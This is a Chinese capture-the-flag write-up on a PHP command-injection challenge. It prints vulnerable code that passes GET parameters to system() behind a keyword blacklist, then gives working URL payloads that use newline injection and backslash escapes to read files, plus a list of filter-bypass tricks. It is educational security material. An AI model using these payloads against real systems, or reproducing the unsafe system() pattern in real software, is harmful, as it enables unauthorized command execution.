0x01 贴代码
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>
0x02 分析
首先是过滤了cat, more以及flag等关键词,这儿可以用\
绕过,例如c\at fla\g.php
,(这儿之所以可以用\
,是因为题目中preg_match
中\\
的写法相当于没过滤\
),同时我们知道linux
中,换行符可以当作命令分隔符。
php的正则有点小漏洞,两个斜杠丢进php
只剩一个斜杠了,然后这个斜杠丢进正则就用来转义了
由于这个小漏洞,a被过滤了|*
而不是*
,b被过滤了|\n
,而不是被过滤了\n
payload:http://127.0.0.1/?a=\&b=%0Aca\t%20index.php%0A
将$cmd var_dump
的结果为string(27) "file "\" " ca\t index.php "" "
(中间是有换行符的)
0x03 知识点总结
1、 在命令中加\
进行绕过关键词过滤
2、也可以用环境变量取值绕过比如${path:0:1}
,但是这儿过滤了{}
,所以不能使用此方法,env
命令可以显示所有环境变量
3、对于命令的过滤有两种绕过方法,一个是linux下,用通配符?
绕过,比如var
写成v?r
expr${IFS}substr${IFS}“this is a test”${IFS}3${IFS}5
3、可以用命令拼接的方式绕过a=1;b=s;$a$b
, 将分号改为%0A
换行符即可http://127.0.0.1/?a=\&b=%0Ac=ca%0Ad=t%0A$c$d index.php%0A
4、 不同系统中结尾符不同
- 在Unix系统里,每行结尾只有"<换行>",即"\n"(%0A)
- 在Win系统里,每行结尾是"<回车><换行>",即"\r\n"
- 在Mac系统里,每行结尾是"<回车>",即"\r"(%0D)